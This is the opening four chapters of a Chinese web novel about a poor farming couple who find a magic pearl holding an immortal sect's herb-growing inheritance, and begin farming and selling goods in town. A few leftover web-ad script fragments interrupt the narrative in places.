《农妇修仙日常》 1. 第 1 章 001 夕阳西下,倦鸟归巢。 坐落于大山脚下的岭内村,家家户户升起炊烟。 村西小院内,柳芸香将泡好的杂豆倒进陶罐里,架到火上熬煮。 时候已至深秋,白天日头照着,尚不觉得太冷,此时天色渐暗,日暮四合,便有阵阵寒意从脚底袭来。 柳芸香紧了紧身上的青花夹衣,看着灶膛里跳跃的火苗,心底盘算起做冬衣的事。 若要置办一身新袄,布料加上棉花,至少要两三百文,她和丈夫梁青山刚从家里分出来,手头银钱不多,虽勉强置得起两身冬衣,却不能把钱都花在这上头。 如此,只能买些棉花,将以往的旧衣改一改。 灶台上升腾起袅袅水汽,豆香味从陶罐里溢出,柳芸香将灶火拨小些,改为慢熬。 除了冬衣,家里粮食同样剩得不多,或许可以和村里人买一些,倒比镇上粮店便宜,等过了这两三个月,地里新种下的豆子就能收获了。 外头天已黑透,豆粥也熬好了,柳芸香点起油灯,走到门边张望。 白日里,她与梁青山一起进山打柴,捡拾山货,傍晚下山,他又去地里给豆苗浇水,这会儿还没回来。 等了片刻不见人,她在灶膛里留了些火星,免得锅里晚饭凉了,便回身坐到桌边,借着昏黄的灯光挑拣栗子。 又过了一会儿,才听院门吱呀一声,梁青山挑着满满两桶水,摸黑走进院子。 “今天怎么这样晚?”柳芸香放下栗子,一手端着灯盏,一手笼着火苗,迎上前替他照明。 “我看得见,别烫了手。”梁青山忙说。 “没事,留意着呢。”柳芸香引着他往灶房走。 把水倒进灶房的大水缸里,梁青山收好扁担跟木桶,将她手里的灯盏接过来,才做了个怪脸,笑道:“刚才在路上遇见五叔公,他老人家一向啰嗦,肚子饿得咕咕叫,还得听他唠叨。幸好天黑得快,不然这会儿还跑不掉。” 柳芸香轻嗔:“长辈关心我们,偏你作怪。” 闻言,梁青山面色一肃,满脸正经道:“阿弥陀佛,天大地大,饿肚子最大,想必叔公他老人家会体谅的。” “又胡说了。”柳芸香掩口忍俊。 见她笑了,梁青山扬扬眉,越发嬉皮笑脸。 柳芸香轻轻推他一把,“不是说饿了,快些吃饭吧。” 陶罐里的杂豆煮了许久,早已绵软脱壳,豆粥一向寡淡,喝起来清汤寡水,柳芸香在里头添了把糙米,又用小火慢熬,直熬得浓稠顺滑,米粒几乎融在粥水中,米香与豆香浑然一体。 除了豆粥,还有一小篮烤毛芋。小孩拳头大的芋头埋在灶膛底下,用柴火灰里的余温一点点煨熟,漆黑的外壳一剥便落,露出雪白绵密的内里。 另有两碟下粥用的小咸菜,是她自己腌的豆角和萝卜,酸脆爽口。 饭食虽粗糙,但这样寒凉的夜晚,热腾腾一大碗落进肚腹里,身体立刻由内而外暖了起来。 “好香!”梁青山吃得头也不抬。 此时夜色渐深,村里人爱惜灯油烛火,都早早歇下了。 两人用了顿迟来的晚饭,却不着急回房,反而对视一眼,深吸口气,同时消失在原地。 柳芸香只觉眼前骤然明亮,再看清时,二人已然身处一处绿草如茵的山谷。 尽管已出入此间数次,但回想起这两日的经历,她依旧心神恍惚,好似身在梦中。 月余前,柳芸香与梁青山成亲不过几日,就被公婆分了家。 两人虽是长子长媳,却只分到两亩薄田并几十斤粮食,就被赶了出来,连如今居住的小院,都是族里借给他们暂住之用。 眼看寒冬将近,夫妻二人身无长物,不得已冒险进入深山,一人打柴,一人拾些板栗榛子之类的山货,换取银钱度日。 就在昨日,两人在山里捡到一枚白色石子,因见其浑圆小巧,形似雀卵,有几分可爱,打算拿回家当个小玩意,谁知一入手,就被带入一方神奇的天地。 此处云雾缭绕,群山巍峨,高山之间有一座山谷,山谷里有一条小溪,小溪边又有一间竹庐。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 那竹庐看着小,里头却十分空旷,庐内空无一人,只有无数个顶天立地的靠墙大柜,柜上密密麻麻不下数万个小抽屉,屉上提了字。 因父亲是秀才,柳芸香自小念过几本书,倒是认得上头的字,诸如“青竹米”、“流焰果”之类,却不知具体为何物。 小两口忽然来到此地,满心震撼,并不敢擅动,后来在壁柜间发现一座书架,柳芸香告了声罪,拿起最上头一本《药谷琐事》细看,这才知晓个大概。 书上说,世有三千大世界,以及无数小世界,他们捡到的那颗小石子,名叫混沌珠,珠内便有一界,不知其天有多高,其地有多广,界内孕育着无数生灵,只没有生人。 数万年前,一位仙人偶然发现此无人之界,便将其炼化,成为一枚可以认主的芥子空间。 后来,混沌珠机缘巧合被药仙谷先辈所得,又成为其宗门至宝,面前连绵雄峰、山谷、竹庐,正是药仙谷传承所在。 读到这里,柳芸香已然惊心骇神。 她不过一名乡下农妇,只因有幸认得几个字,才比旁人多几分见识。 然而这份见识,在此时显得如此微不足道。 大千世界、混沌珠、仙人……她有生以来所有认知,被这短短几行字全部推翻。 怔愣许久,才勉强收敛心神,继续往下看去。 原来她与梁青山能进入混沌珠,并非偶然,而是药仙谷的传承选中了他们。 药仙谷虽来历悠长,称得上古宗仙门,在择取弟子上却显得尤为任性。每代真正的传人只有一名,一旦此人飞升,或者意外身亡,混沌珠便会自行脱离,投入茫茫界域中,重新择主。 而由于功法特殊,药仙谷传人往往是心性平和之辈,不擅与人争斗。为免其吃亏,药仙谷在选择传承人之时,会另外再择一人,将其培养成传承人的护卫。 此人不要求资质,不要求根骨,唯独需要与传承人关系密切,多为血亲、夫妻、挚友。 如今,药仙谷正是选择了柳芸香为传承人,梁青山则成了她的护卫人选。 2. 第 2 章 002 小两口被这天大的馅饼砸中,慌了半日后,倒是慢慢镇定下来。 左右他们一穷二白,并没有什么值得图谋的,既然如此,与其心慌意乱,惶惶不可终日,不如坦然以对。 心绪一旦安定,两人很快发觉,混沌珠内,时光流逝与外界不同。 头一回进入珠界,他们在里头待了大半日,因腹中饥饿才离开,到了外面却发现,日头只往西偏了一点儿,前后约莫半个时辰。 后来反复尝试,终于确定,外界一日夜,混沌珠内已过去整整六天。 此事固然神妙,但经过先前的震动,两人反倒不觉得多奇异。 此时夫妻二人吃过晚饭,相携进了混沌珠,外面夜色已深,珠界内仍是日头高照。 柳芸香依旧拿了那本《药谷琐事》细看,这书大约用了仙家手段编成,看着薄薄一本,却翻了一页还有一页,她至今未能通读。 梁青山大字不识几个,陪她坐了片刻,起身在周围四处查看。 过了一会儿,他脚步轻快地返回来,“芸香,你觉得那块地怎么样?” 柳芸香顺着他手指的方向看去,那是山谷中位于小溪与竹庐之间的一小片空地,此时杂草丛生。 “书上有没有说那地方是做什么用的?”梁青山又问。 柳芸香摇摇头,“书里只说,周围这些山,都是药仙谷的灵田药园,并没有提及此处。想来是没什么灵气,长久以来又无人打理,因而成了块荒地。” 梁青山啧了一声,“真是大手笔,这么好的地都给荒废了。” 在他看来,这地方地势平坦、水源充足、土壤肥沃,分明是块上好的良田宝地。 就他分家分到的那两亩旱田,位于半山坡,又干又贫瘠,只能种点荞麦杂豆,他还当成宝似的侍弄,何况眼前这块宝地? 他当即决定,要将这块地开出来,种上瓜菜粮食。 正好珠界里时间不一样,外头一天在这儿能顶六天用,也就是说,在这里种庄稼,一年至少能熟六次! “到时候专门辟出一半种稻谷,咱们也顿顿□□米白面!”梁青山满心壮志。 顿顿精米白面,在村里人看来,已经是神仙般的日子,要知道,邻村那个张地主,家里有一百亩良田,都舍不得这么吃呢。 听到他的打算,柳芸香点头道:“我和你一起去。” 方才她还想家里粮食不多,等新粮下来,还得两三个月。若是在这里头种上黄豆稻谷之类,只需外头的时间十几天便能成熟,正好解了两人断粮之忧。 “不行不行,”梁青山赶紧拦住她,“我这是闲得没事,才找点活干,你还要看书呢。” 梁青山很清楚,要不是媳妇儿认得字,看得懂书上写的东西,光靠他自己,就算得到混沌珠这个大宝贝,也是两眼一抹黑,什么都不懂。 所以看书是正事,下地的活就留给他这个闲人去干吧。 柳芸香并未太坚持,对他们来说,眼下最重要的,还是通过书中记载,尽快掌握药仙谷的情况。 这本《药谷琐事》,她已看了将近两日,总算对修真之事、对药仙谷有了些许了解。 那是她以往十几年里,不论是书本、还是他人口中,都从未听闻的世界。 那里的人翻山倒海直上九霄,一剑寒霜惊才绝艳,然而他们并非仙人,而是一群修仙问道,以求长生的修真人士。 药仙谷,便是由修真人士建立的门派。 自立宗以来,药仙谷便以种植见长,只是种的,却不是寻常所见的米粮瓜果,而是灵谷、灵茶、灵药等蕴含灵气之物,称之为灵植。 而药仙谷传承的功法《怜青诀》,正与灵植有关。 修炼此功,需要吸纳灵植生长所产生的菁纯灵气,《怜青诀》有所成后,又能反哺灵植,二者相辅相成,互为助力。 因灵植往往具有五行属性,被药仙谷选中的人,也需身具五种属性,即修真界常说的五灵根。 五灵根也被称为废灵根,本是极差的天赋,如今反成为幸运的契机。 柳芸香看到此处,不禁哑然。 再往后看,更是失笑。 原来梁青山比她还不如,是个没有任何天赋的凡人。 凡人没有灵根,不能走正经修道的路子,药仙谷为他准备的,是一本名为《至阳图谱》的炼体功法。 此功至阳至烈,修炼之时,需辅以药浴浸身,达到洗髓换经、脱胎锻骨的目的。 只是这种方法虽可逆天而行,以凡人之躯走上体修之路,过程却酷烈无比,非常人所能忍受。 看到这儿,柳芸香眉头微微皱起。 恰好梁青山拔了会儿草,跑回来喝水,见到她的神情,忙问:“怎么了?” 柳芸香略微思索,便将书中内容悉数告知,此事毕竟与他相关,他应该知情。 梁青山听完,抹了把脸,毫不犹豫道:“没事,别人能炼,我也能炼。” 不就吃点苦口么,不吃苦他还不安心呢。 自从成了亲,梁青山一直在想,他到底何德何能,能娶到这么好的媳妇儿? 他媳妇儿是秀才公的女儿,读书识字,绣花下厨,没有不会的,她还这样漂亮,对他这样好,自分家出来,吃了那么多苦头,半点怨言都没有。 而他梁青山,只是一个出生没了娘,又不被亲爹待见的穷小子,凭什么啊? 思来想去,只能说是老天见他从前十八年过得太倒霉,特意派他媳妇儿来拯救他了。 就说这回混沌珠的事,他心里门清,药仙谷真正选中的人是他媳妇儿,而他只是个顺带的添头。 要不是娶了个好媳妇儿,他能有这运气? 所以但凡有任何迟疑,都活该他后悔一辈子! 柳芸香掏出手帕替他擦了擦汗,“既然如此,到时候我陪着你。” 梁青山嘿嘿一笑,见手帕被自己的汗水打湿,有点不好意思,“别擦了,把你手帕弄脏,一会儿我去溪里洗把脸就行。” “才出了一身汗,最忌讳浸凉水,忽冷忽热的,极容易生病,还是等身上汗干了再去吧。”柳芸香温言劝道。 “行,听你的。”梁青山仍是咧嘴笑,脸上晒得通红,看着傻乎乎的。 见他听得进劝,柳芸香心里也高兴。 以往在家中,她偶尔这样劝导侄女侄儿爱惜身体,却少不得被兄嫂一阵冷嘲热讽,说些小姐身丫鬟命的话,渐渐的就不再开口了。 此时回想起成亲前的日子,仿佛已经是许久以前的事。 她是父母老来女,前十余年有爹娘疼爱,加之父亲是私塾先生,日子虽不算富足,但也衣食无缺,因而 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她这个小女儿,每日里只管读书认字,做些针黹女红,过得无忧无虑。 此后十二岁丧父,十四岁丧母,跟着兄嫂生活,才算尝尽人情冷暖。 然而那到底是她仅剩的亲人,便是有什么龃龉,能忍也就忍了,否则就算闹出来,也只是叫旁人看笑话,让爹娘身后不得安宁。 她坚持为母亲守孝三年,除服时已经十七岁,过了女子说亲的最好年龄。 其间兄嫂一直冷言冷语不断,后来大约觉得她嫁不到什么好人家,竟生出要把她卖给人做妾,好得一笔银子的念头。 柳芸香终于不再忍耐,直言宁可一头撞死,也绝不让他们得逞。 许是怕人财两空,恰逢当时梁家大伯娘来替梁青山说媒,兄嫂收了几两彩礼就同意了。 成亲前,嫂子整日阴阳怪气,说她天生贱命,有吃香喝辣的好日子不过,非要嫁个泥腿子,那梁家是后娘当家,梁青山又从小没娘,是个无人管教的野小子,往后有她吃苦受罪的时候。 柳芸香听在耳里,并不后悔。 若听他们的,卖身给人做妾,从此一辈子抬不起头,就算吃香喝辣,又有什么滋味? 梁家的日子再不好,她也是堂堂正正做人。 月余前过了门,她发现公婆的确都不太好相与,但梁青山却与想象中大不相同。 他虽有些不拘小节,却开朗又体贴,人也勤快上进,绝非他人口中没教养的野小子。 如今二人分家单过,虽一时贫苦,但有了混沌珠这样的奇遇,往后的日子只会越来会好,假若爹娘知道,也该安心了。 怔忡片刻,柳芸香回了神,想起先前未说完的话,又拿起书,指着上头的内容道:“这《怜青诀》需要灵植相佐,《至阳图谱》又需要药浴辅助,如今咱们两样都无,还得做些准备,才能开始修炼。” 看过《药谷琐事》后,她已经知道,竹庐里那一排排靠墙大柜、柜上许多小抽屉,里头装的就是灵植种子。 只是灵植到底该如何种植、如何培育,她尚且不清楚,并不敢贸贸然去动那些珍贵的种子。 所幸这是药仙谷专长所在,书架上关于栽培灵植的书籍不少,她准备花些时日,一一通读。 而梁青山所需的药浴,倒是有药方,且不止一张,但就算是其中最简单易得的那张方子,里头也有人参、龟板、灵芝这样的珍贵药材,若想凑齐,还须得徐徐图之。 “人参?!龟板?!灵芝?!”梁青山听得瞠目结舌。 这么贵重的东西,拿来给他泡澡?! 他低头瞧瞧自己的身板,脱口而出:“就这百多斤肉,怎么看也不配啊!” “噗嗤——”柳芸香掩口失笑。 梁青山抬起脑袋,正要说什么,见她笑得眉眼弯弯的样子,有点看呆住了。 柳芸香面色薄红,微微偏过头,解释道:“刚开始用的方子,里头药材年限不必太长,像人参,只需用十年份即可,一副药方配下来,并不需要许多钱。咱们不着急,慢慢来便是了。” 简简单单的话,梁青山听得心花怒放。 媳妇儿不嫌他费钱! 那还等什么?开荒,赶紧开荒! 把山谷里的荒地都给种上,一年六季熟,一季都不能错过。 他相信,只要爱种地,他就有种不完的地! 3. 第 3 章 003 隔日天色未明,两人便起了。 梁青山边打哈欠边嘀咕:“我看咱们以后得在混沌珠里盖个小房子,夜里直接睡在里头。” 不然,他在外面一.睡三四个时辰,珠界里两天时间就过去了,这两天要是用来干活,能开多少荒地? 柳芸香正梳头,听见这话建议道:“竹庐里还算宽敞,可以打个地铺。” “不了不了。”梁青山立刻摆手。 说起来丢脸,他一直觉得那间竹庐怪渗人的,地方空旷旷,说话带回音也就罢了,靠墙一排排全是柜子,柜子上密密麻麻都是小抽屉,怎么看都觉得怪异。让他在里头打地铺,还不如睁眼到天明。 他忍不住问:“你在里头不怕吗?” 柳芸香略微诧异地摇头,“我倒没注意这些。” 她的心思全在书里了。 梁青山便煞有其事地感慨:“读书人就是不一样。” “别贫嘴了,”柳芸香轻笑,“快把衣服穿好,担心着了凉。” “诶!”梁青山喜滋滋翻出衣裤套上,他就喜欢媳妇儿关心他。 两人收拾一番,吃过早饭,便带着箩筐、扁担等物出门。 虽说有了混沌珠,但为了避免惹人猜疑,他们决定白日还是照常进山。 不然,一整天闷在家中,被亲戚邻里看见,人家就该上门来问候了。 当初从家里分出来,两人几乎身无分文,这一个月打柴、捡山货,日日早出晚归,才换得一千多文。 钱没捂热,为添置锅碗瓢盆、油盐米面又花出去大半,且是他们省了又省的情况,尚有许多物件没买。 譬如做饭用的锅,因买不起铁锅,至今只用一个陶罐凑合着,干活的农具,只买了把柴刀,平日若要用锄头,还得去别人家借。 如今既然想在珠界里开荒,再借用别人的农具就不太合适。 柳芸香边往葫芦岭上走,边在心里盘算。 他们手里还有将近五百文,若买了锄头、斧头,加上她之前打算好的棉花,就该一文不剩了。 好在这几日积攒了不少柴火和板栗,一担一百斤重的上好柴火,送到镇上能卖二十五文,若天气再冷些,价格还能高点。家里的柴火,总有五六百斤,算下来是一百五十文。 板栗榛子之类的山货,在他们这样的小地方卖不出高价,一斤不过两三文,她拾的那些,差不多能卖一百文。 盘算了一遍,发现买完所需之后,还能余结一点儿钱防身,柳芸香心里便有了底。 他们出门时天还朦胧,走到半山腰,天边才放出微光。 山脚下的村子里,有村人在井边挑水,远远看见葫芦岭上两道人影,眯缝着眼分辨了一会儿,问旁边人:“那是青山跟他媳妇儿?这么早进山,地气还凉着呢。” “是他们。”边上那人瞧了两眼,“前些日子梁二柱不是闹着分家么,就给青山两口子分了两亩旱田跟小半袋粮食,那够什么吃的,眼看天就要冷了,小夫妻可不得起早贪黑的忙活?” “说到分家,我还真没见过谁把长子长媳分出去的,梁二柱那个浑人真是……” “他犯浑又不是一天两天了,就是可惜了青山这孩子,往后的日子更难咯。”说话的人摇头惋惜。 此时柳芸香跟梁青山已经越过葫芦岭,两人并不知村里人的议论,避开众人视线后,便进到混沌珠里去了。 药仙谷还是之前两人离开的模样,梁青山在小溪边划定了一块空地,约莫两亩大小,计划一半改成水田,用来种稻谷,还有一半,则种些果树、瓜菜之类。 原本他打算把谷中所有的荒地都开出来,柳芸香劝阻了他,毕竟人的精力有限,与其贪多,不如花更多心思侍弄眼前这块地,况且两人往后还得修炼,多了怕顾不过来。 梁青山向来听她的劝,一说就同意了。 眼下他在那块地上除草,柳芸香进了竹庐拿书看。 她总算把《药谷琐事》读完,如今正在看的是《灵植全考》。 这本书收集了大千世界已知的大部分灵植,记录下它们的等级、习性、用途等方面内容。 柳芸香这会儿才知道,原来修真界的灵植还分等级,根据灵气含量多寡,从高到低分别分超阶、天阶、地阶、玄阶、黄阶、人阶,以及不入品阶,这七个等次。 如她这般浑然不懂的新手,自然要从不入品阶的灵植开始学起,其中最常见的,是一种名为青竹米的灵谷。 柳芸香细细看完有关青竹米的记载,发现这种灵谷的栽培方法,与寻常作物并未有太大不同,只是需要将其种在含有水灵气的灵田内,成熟周期也略长些,为六个月。 由于所含灵气温润平和,便是凡人也能用一些青竹米做成的粥饭点心,且对身体大有好处。 因此在修真界的凡人里头,这种米价值千金,颇受追捧。 柳芸香记得自己先前好像见过这种灵谷的名字。 她拿着书站起来,在那一排排大柜上仔细寻找,终于在靠近门边的柜子上,找到写着青竹米的小抽屉。 小心翼翼拉开,一股雨后竹林般清新的气味扑鼻而来,柳芸香微微踮着脚尖看去,抽屉里堆满了一颗颗莲子大小的青色谷粒,好奇拿起一粒,捏在指尖竟是微弹的手感。 “好神奇的造物。”她不由感慨赞叹。 正要拿出去让梁青山也瞧瞧,忽然听见他在外头一连叠声叫唤。 “芸香!芸香快来看看我抓到什么啦!” 柳芸香心头一紧,快步走出竹庐。 却见梁青山手里抓着一只不断挣扎的动物向她跑来,那东西猛一看像野狗,浑身毛发灰黄,正尖声吱吱叫着,看得出来力气不小,几次都差点让它挣脱。 柳芸香微惊:“这是什么?” “是野兔!”梁青山哈哈大笑,“是不是根本看不出来?我刚才看见也吓一跳,正拔草呢,这东西猛地从洞里钻出来,嚯,我以为野狼来了!从没见过这么大的兔子!嘿,还敢蹬我,凶得很!” “竟是兔子。”柳芸香诧异地凑近了些,她也没见过这么大的呢。 梁青山忙退开一步,“小心它蹬人,踹一脚还怪疼的。” 他拔了几根粗壮的草茎,将野兔前后脚捆起来,这才放心让柳芸香细看。 两人围着这肥硕的兔子啧啧惊叹了好一会儿,梁青山想起什么,“对了,这山谷里既然有兔子,恐怕还有别的猛兽,咱们以后得小心些了。” “别担心,”柳芸香安抚道,“我看《药谷琐事》里提过,药仙谷是有护山法阵的,附近这些山、连带山谷都在法阵里头,外头的野物进不来。只不过……” 她看了眼地上的兔子,思忖着道:“我想这护山法阵,或许跟捕鱼的渔网相似,能拦得住大鱼,却拦不住小虾米。” 梁青山一听,反倒乐了,“那不是正好,大野物进不来,小野物来了正好让我们打打牙祭。” 想到香喷喷的兔肉,他已经开始流口水了。 把野兔绑了放在竹庐边,梁青山拔了些草给它吃,免得饿瘦了。 他们在珠界里待了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 大半日才离开,外边太阳正好升上山头,两人如往常一般打柴拾板栗,只除了时不时跑进珠界里待一阵,或开荒看书,或休息说话,忙里偷闲,显得尤为自在惬意。 直到日头西斜,才挑着柴火下山。 村里人见两人这样辛劳,免不了又是一番闲话感叹。 回到家中,梁青山一刻也等不及,当下就提着兔子放血剥皮。 可惜这兔肉,今晚却还吃不得,毕竟是野味,味道腥膻,需得用大料咸酱慢炖才好吃,家里只有一点粗盐,暂且做不成美味。 “明日咱们就去镇上吧。”柳芸香道。 把家里积攒的柴火山货卖了,除了先前打算好的农具和棉花,也买些油盐酱醋回来。 “行,”梁青山点点头,“一会儿吃了饭,我去问问三叔公家的牛车得不得空。” 岭内村是个小村子,村里二三十户人家,将近一半姓梁,因此说起来都是沾亲带故的。 柳芸香又道:“还有兔子肉,是不是也分出一半来卖了?” 这只兔子大得惊人,估计有二十来斤,除去皮毛内脏,也有十多斤净肉,若都留着自己吃,未免太过奢侈。 他们的日子,还远不到能顿顿吃肉的时候,况且留下一半,也够他们好好吃上几日的。 听见这话,梁青山迟疑了,看着兔肉的目光颇为挣扎。 倒不是为了自己想吃,而是想到自成亲以来,还没给媳妇儿吃顿好的,难得有点荤腥,还得留一半卖一半,叫他心里不是滋味。 可是话说到底,媳妇儿这么做还不是为了他,他那药浴的方子,人参灵芝龟板还在前头吊着呢。 梁青山嫌弃地瞥了瞥自己的身板,说来说去还是这身肉不争气,假如像媳妇儿那样有什么灵根,不就不用费大钱了么! “行吧。”他艰难地做了决定,见柳芸香的视线转到兔皮上,忙说:“这块皮不能卖,等我再抓一只,正好凑两张给你做件比甲。” 他刚才悄悄比划过了,整张兔皮摊开,正好够媳妇儿上身大小,且那毛又长又软,她穿着肯定好看。 柳芸香便笑道:“看好是看好,只是不太方便,你见哪家妇人下地干活还穿带毛衣裳的?若是在珠界里,那里头又暖和,也穿不着,不如先拿去卖了,等以后有更好的,再留给我。” 她说了一串,梁青山只听进“等以后有更好的,再留给我”这半句话。 他再看眼前的兔子毛,便有点嫌弃了,灰不灰黄不黄的颜色,一点也不衬人,若他什么时候逮住两只雪白的,留了皮毛给媳妇儿做衣裳,那才真正叫好看。 “行。”这回点头点得很痛快。 夜里进了珠界,柳芸香想起一事,去大柜上拿了两颗青竹米,递给梁青山细看。 “你瞧,这是修仙之人的灵谷,之后我若是栽培灵植,头一样要种的便是它。” 看了书里关于青竹米的记载后,她又去翻《怜青笔记》,那是药仙谷修炼《怜青诀》的先辈们写下的心得体会,也是留给后人的指点。 《怜青笔记》中提及,在修行初始的引气入体阶段,选择辅助修炼的灵植时,最好先从水属性开始,因为水属灵植所产生的菁纯灵气,往往最是平和温润,不伤经脉。 青竹米便是水属性,且又是不入品阶的等级,正适合初学者。 梁青山将青竹米拿在手里捏捏,又放在鼻下闻闻,对五行属性、灵植等级之类的不太感兴趣,只好奇道:“能吃吗?好吃吗?怎么吃?” 他绝不是嘴馋,只是先替媳妇儿尝尝味道而已。 4. 第 4 章 004 第二天一大早,梁青山去三叔公家借来牛车,装上柴火、山货,以及昨日收拾好的兔皮兔肉,和柳芸香一起前往南平镇。 岭内村位于葫芦岭山脚下,三面被群山包围,只有一条通向外界的山口,因此而得名。 牛车驶出山口,又经过几个村子,走了约有半个时辰才到镇上。 南平镇占地不大,只有两条主街道,因今日不是赶集日,街上行人并不算多。 木柴沉重,不能摆在街边等客人上门,须得走街串巷叫卖,若有人看中,直接送到人家里去。 此前柳芸香跟梁青山已经来卖过几回,也算熟门熟路,加之冬日将到,各家都在储备过冬的柴炭,因此车上几百斤柴没多久便卖完了。 之后又到相熟的杂货铺,把几十斤山货卖与店主,并买了些酱醋、大料之类的炖肉佐料。 “饿了没?要不要买个包子吃?”看到杂货铺对面的包子店,梁青山停下脚步。 柳芸香其实并不饿,不过看了眼他脸上期待的神情,还是笑了点了点头,并且交待道:“买两个肉馅的吧。” “好!”梁青山响亮地应了一声,他就知道媳妇儿和他一样也馋了。 白面馒头跟素馅包子都是两文钱一个,肉包子三文,虽然略贵了些,但满口的面香和肉味,的确好吃。 两人站在杂货铺前啃完包子,索性也不挪地方了,就地把兔皮和兔肉摆在牛车上售卖。 那杂货铺店主出来看了看,若是平时,他门前是不允许摆摊的,不过刚跟这对小夫妻做了笔生意,倒不好赶人家。 “你们这卖的是狍子肉?”店主看了几眼,好奇问道。 梁青山语气带着几分得意:“不是狍子,是野兔。” “小伙子可别唬人,什么野兔能长这么大块头?”店主满脸不信。 柳芸香笑着解释道:“的确是兔肉,您瞧瞧,兔子肉尤其瘦,和别的肉不一样。” 这会儿没客人,店主闲着也是闲着,干脆走上来细看,捏捏嗅嗅,又摸了摸兔皮,道了句乖乖,满脸惊异:“果真是兔子!这不得有二十斤重?快赶上一只小狍子了,附近山里有这么大的兔子?!” “可不是附近山里抓的,跑了老远呢。”梁青山说。 混沌珠里抓的,可不是离这里老远么。 那店主以为他是进了深山,一边啧啧惊叹,一边道:“小伙子胆量够大,运气也好。” 梁青山见他围着兔肉转来转去,便问:“要不要称一斤?一斤十五文,比猪肉便宜。” 店家摇头道:“年轻人不实诚,人家一只活兔才卖二十文呐。” 梁青山抓抓头,正想怎么反驳,柳芸香笑着说:“寻常兔子再便宜,那也不稀罕。方才您也说了,这么大的兔子不多见,要是错过可就再没有了。” 店主其实已经心动,却还想再磨磨价。 三人正说话,边上过来一人,“小哥你这鹿肉怎么卖?” 梁青山只好又跟人解释一遍,是兔肉不是鹿肉,再次引得来人连连惊奇,这人倒是爽快,张口就要了两斤。 街上行人见这边聚着几个人,好奇围了过来,等听见卖的是一只二十几斤重的野兔肉,各个咋舌不已。 虽大部分只看个热闹,但也有人为了尝尝这难得的野味掏了钱,很快一斤、半斤的就卖出去了。 那杂货铺店主先前嫌贵,眼下见肉快卖完了,又着急起来,“诶诶,小伙子下手慢点,留块肉给我!” “说晚咯!”梁青山哈哈笑道,“这位大娘全要了,倒是还有块兔皮,您看要不要收了?” 杂货铺店主干瞪眼,“又不是娘们,我要那兔皮干什么!” 话是这么说,等见包圆了兔肉的那位大娘伸手要去拿兔皮,忙眼疾手快抢了过来,将兔皮摊开,对着光仔细照了一遍,看看有没有刀口。 大娘不乐意了,拿刚才的话呛他,“你一个爷们,买兔皮干什么?” 店主抢赢了,语气便十分得意,“这你就不懂了,我虽用不上,家里不是还有老娘跟婆娘么,这块毛不小,等找匠人硝制好,正好给她们一人做顶暖帽。小伙子,这兔毛多少钱,给个实诚价。” “一口价,六十文。”梁青山答得爽快。 这是他跟柳芸香先前商量好的价格,这张皮子虽然难得,但兔毛毕竟属于粗毛之流,富贵人家瞧不上,只有平民百姓会买,价格高了就卖不出去。 “六十文!”老板丝丝抽气,“这是兔毛,又不是狐毛,这样贵!” 柳芸香便笑道:“若是狐毛便不是这个价,卖六百文也不嫌多了。您看看这张皮,毛又细又长,皮子也够大,找老匠人鞣制好了,不比狐毛差什么,令夫人跟老夫人定会喜欢的。” 那店主仍是觉得贵,但柳芸香的话也没错,这张皮子确实好,加上还有个大娘在边上虎视眈眈,到底还是忍痛掏了钱。 他看着两人,不由道:“你们这对小夫妻倒般配,小伙子勤快,小嫂子会说话,以后日子肯定不差。” “那就借您吉言了。”柳芸香和梁青山笑着与他作别。 两人带来的东西已经全卖出去,荷包一时鼓鼓的。 不过,等他们去铁匠铺买了锄头斧头,又到布庄购入两斤棉花,再光顾粮店带走几斤粮种,荷包又迅速瘪了下去。 柳芸香将买来的东西清点一遍,最后去买了一斤肥肉、一包白糖糕,两人才踏上回程。 “买肥肉是要炸油渣吗?”梁青山好奇。 柳芸香摇摇头,“咱们没有铁锅,炸不了油渣。是要跟兔肉一起炖,兔子肉太瘦了,得用荤油为它增香。” 从前她爹在时,常有家贫的学生送来山鸡野兔做束脩,柳芸香跟着她娘学了点儿烹调野味的手艺。 “用荤油炖兔肉……”梁青山遐想了一番,摸摸下巴,很好,口水没有流下来。 到了家,先把买来的东西搬进屋,梁青山把牛车上下打扫了一遍,又给牛喂了黄豆跟水,这才牵去还给三叔公。 三叔公的孙子梁青石,比他小几个月,不过孩子都快一岁大了。 看着梁青山递来的白糖糕,梁青石为难道:“青山哥,下次别买了,都是自家人,做什么这样见外。” 梁青山把糕点往他怀里一塞,“别啰嗦,又不是给你吃的。时候不早,我回去了,替我跟三叔公问好。” 在乡下,牛比人金贵,借了人家的牛干了大半天活,要是不给点表示,自己心里过意不去,下次再想借也不好开口;但要是给钱,都是族里亲戚的,主家又不好意思收下,到时推来推去也难看。 所以梁青山觉得他媳妇儿特别聪明,直接买糕点当谢礼,一份十几文,不算太贵,拿出去也体面。 那白糖糕,是用上好的精米磨成细细的粉,再用白糖水和匀之后,隔水蒸熟的,吃的时候可以直接吃,也可以加水化成米糊,尤其适合牙口不好的老人跟周岁左右的孩子,送给三叔公家正好。 送完了礼,梁青山迫不及待跑回家,家里炖着肉呢。 柳芸香在灶房烧火,见他满脸兴奋跑进来,笑道:“再等一等,炖入味了更好吃。” 早上两人出门前,已经把兔肉放凉水里浸着,去血沫除腥味,刚刚买了佐料回来就直接下锅了。 “嗯嗯,我就闻闻味道。”梁青山围着灶台转来转去。 见他满脸馋相还装作若无其事,柳芸香心下好笑,好在肉已炖得差不多,没让他等太久。 陶罐盖子才掀开,水汽裹挟着浓郁的香味扑面而来,梁青山深吸一口气,几乎醉倒在这股肉香里。 不说他 ,柳芸香闻着也被勾出了馋虫,算起来她也好些年 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没尝过肉味了。 当下两人站在灶房里,头碰着头就分食了一碗肉。 兔肉柴瘦,没有油脂,吃着便不够香,已经炖烂的肥肉恰好弥补了这份缺陷,一口下去,满嘴流油,能将人香迷糊。 “芸香,你手艺真好!”这是梁青山这辈子吃过最香的一顿饭,要不是柳芸香拦着,他能把碗舔干净。 饱食一顿,再到珠界里开荒,就显得更有劲了,恰巧今天新买了锄头,干起活来事半功倍。 那块荒地上的杂草都已经被梁青山除尽,碎石子也捡出来丢掉,接下来还要将地翻一翻。 